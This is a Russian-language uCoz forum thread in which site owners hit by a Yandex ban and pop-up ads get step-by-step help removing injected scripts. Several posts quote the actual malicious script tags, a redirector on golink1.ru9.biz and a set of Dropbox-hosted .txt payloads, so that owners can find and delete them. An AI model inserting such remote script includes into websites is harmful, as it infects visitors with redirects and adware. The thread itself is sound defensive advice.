Модератор форума: Yuri_G  
Инородная реклама на сайте
yojim
Сообщений: 30
Репутация: 0
Уровень замечаний:

Сообщение # 436 | 00:54:56
Пожалуйста помогите, мой сайт забанил поисковик, прислали вот такое письмо:

Поиск Яндекса создан и развивается в соответствии с нашим представлением о том, какая информация является ценной для пользователя. Поэтому мы стараемся исключать или понижать в результатах поиска сайты, использующие обманные техники для автоматического перенаправления пользователей на страницы других доменов.
В коде части страниц Вашего сайта наши алгоритмы обнаружили код скрипта, меняющего окно результатов поиска на страницу другого сайта при переходе с поисковых машин. По этой причине мы были вынуждены временно исключить Ваш сайт из поиска. Подробнее об этом написано в нашем блоге – [url=https://mail.yandex.ua/re.jsx?h=a,_NdonHGWJhTrXTgoUU13kA&l=aHR0cDovL3dlYm1hc3Rlci55YS5ydS9yZXBsaWVzLnhtbD9pdGVtX25vPTE4OTE]http://webmaster.ya.ru/replies.xml?item_no=1891[/url] .
Когда нарушения будут устранены, страницы сайта вернутся в поиск автоматически.
Служба поддержки Яндекса..

Вот такие дела, но я не могу найти этот вредоносный код, и где его вообще искать, помогите плиз кто может очень нужна ваша помощь... Мой сайт http://dokumental-film.at.ua/

Вот нашел такой код может в нем проблема? :

<script language="javascript" src="http://golink1.ru9.biz/js/back.php?id=43"></script>

Сообщение отредактировал yojim - Среда, 24 Июл 2013, 03:42:51
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 437 | 10:19:29
marfoed, панель управления - дизайн - управление дизайном - быстрая замена - попробуйте многострочный режим - в поле что зменить вставляете это

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>
- поле на что заменить оставляете пустым и производите замену во всех модулях.

если не получится многострочный, то пробуйте каждый скрипт отдельно

после очистки нужно обязательно сменить пароль uID профиля, которым администрируете сайт
инструкция по замене тут //forum.ucoz.ru/forum/45-52299-1

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 438 | 10:22:07
yojim,
Цитата
Вот нашел такой код может в нем проблема?
именно в нем проблема. после очистки смените пароль uID профиля, которым администрируете сайт. инструкция по замене тут //forum.ucoz.ru/forum/45-52299-1

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
yojim
Сообщений: 30
Репутация: 0
Уровень замечаний:

Сообщение # 439 | 10:59:37
webanet,
Цитата (webanet)
именно в нем проблема. после очистки смените пароль uID профиля, которым администрируете сайт. инструкция по замене тут //forum.ucoz.ru/forum/45-52299-1

Большое спс помогло, подскажите по каким причинам он появился почти на всех страничках сайта, я его не добавлял... И есть ли шанс взлома, Юкоз утверждает что взломать страничку нереально!?

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 440 | 11:03:52
yojim, никому и не надо взламывать вашу страничку или то, что вы ею называете. вы могли подарить свой пароль администратора сайта сами, введя его в подложную форму входа. поэтому я бы не рекомендовала путешествовать по сайтам системы тем же профилем, которым администрируете сайт. для путешествий нужно иметь запасной профиль и его смело вводить в любые формы. главное чтобы на нем не висело сайтов и чтобы он не имел права ни на одном из ваших сайтов. а админским uID профилем на котором висят сайты ни шагу с сайта.
ну и конечно не занимайтесь сбором скриптов в открытом доступе. 90% из выложенного заражено

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
yojim
Сообщений: 30
Репутация: 0
Уровень замечаний:

Сообщение # 441 | 12:20:46
webanet,
Цитата (webanet)
ну и конечно не занимайтесь сбором скриптов в открытом доступе. 90% из выложенного заражено

Подскажите вот пример такой скрипт опасен?


Код
<center>
   <script type="text/javascript" src="http://userapi.com/js/api/openapi.js?52"></script>

<!-- VK Widget -->
<div id="vk_subscribe"></div>
<script type="text/javascript">
VK.Widgets.Subscribe("vk_subscribe", {mode: 2, soft: 1}, -41176698);
</script>
</center>

marfoed
Сообщений: 44
Репутация: 0

Сообщение # 442 | 12:31:41
Цитата (webanet)
marfoed, панель управления - дизайн - управление дизайном - быстрая замена - попробуйте многострочный режим - в поле что зменить вставляете это1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
- поле на что заменить оставляете пустым и производите замену во всех модулях.

если не получится многострочный, то пробуйте каждый скрипт отдельно

после очистки нужно обязательно сменить пароль uID профиля, которым администрируете сайт
инструкция по замене тут //forum.ucoz.ru/forum/45-52299-1
вот такое выдает сообщение и при попытке заменить многострочно и каждый скрипт по отдельности

Не сделано ни одной замены
Проверьте правильность заменяемого кода
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 443 | 12:37:01
yojim, это виджет кажись подписки от контакта

marfoed, значит по одному вставляем в простую замену. копируйте и вставляйте правильно каждый код отдельно и по каждому производите замену

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>


Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>


или сделайте скрин поля что заменить как вы вставляете скрипт в случае неудачи

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
yojim
Сообщений: 30
Репутация: 0
Уровень замечаний:

Сообщение # 444 | 12:43:46
webanet,
Цитата (webanet)
это виджет кажись подписки от контакта
Да я в курсе просто подозрительный скрипт в виджете:


Код
<script type="text/javascript" src="http://userapi.com/js/api/openapi.js?52"></script>

Решил перепроверить. Огромное спс! webanet,

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 445 | 12:47:06
yojim, он не подозрительный это апи контакта. виджеты контакта можете ставить, особенно, если вы берете их с самого контакта

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
marfoed
Сообщений: 44
Репутация: 0

Сообщение # 446 | 13:22:34
Цитата (webanet)
или сделайте скрин поля что заменить как вы вставляете скрипт в случае неудачи


первые семь скриптов сейчас нормально заменились, последний выдает:

Добавлено (24 Июл 2013, 13:22:34)
---------------------------------------------
webanet,

ура, все заработало и паразиты исчезли, спасибо огромное

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 447 | 13:22:39
marfoed, на сайте чисто. теперь вам надо изменить пароль uID профиля администратора на сайте. изменяйте по инструкции, что я дала выше

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
marfoed
Сообщений: 44
Репутация: 0

Сообщение # 448 | 14:11:30
Цитата (webanet)
marfoed, на сайте чисто. теперь вам надо изменить пароль uID профиля администратора на сайте. изменяйте по инструкции, что я дала выше
уже, спасибо
amitrofanova
Сообщений: 2
Репутация: 0

Сообщение # 449 | 22:18:02
Здравствуйте! помогите, пожалуйста. Наш сайт lmitrofanova.ucoz.ru просто завален рекламными всплывающими баннерами. Пакет Базовый оплачен, но как я поняла из форума, проблема во вредоносном коде. Но я сама не пойму, какой именно код нужно почистить. и еще - что сделать, чтобы это не повторилось (uID я точно никому не сообщала и ни на каких других сайтах не использовала) Заранее спасибо!
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 450 | 22:27:31
amitrofanova, панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставляете по очереди скрипты

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>


поле на что заменить каждый раз оставляете пустым и производите замену во всех модулях

далее панель управления - дизайн - управление дизайном - глобальные блоки - нижняя часть сайта - открываете шаблон и удаляете оттуда

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>


оставляете код $POWERED_BY$

далее меняете пароль uID профиля и ставите самый сложный на который способны. инструкция тут //forum.ucoz.ru/forum/45-52299-1

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Поиск: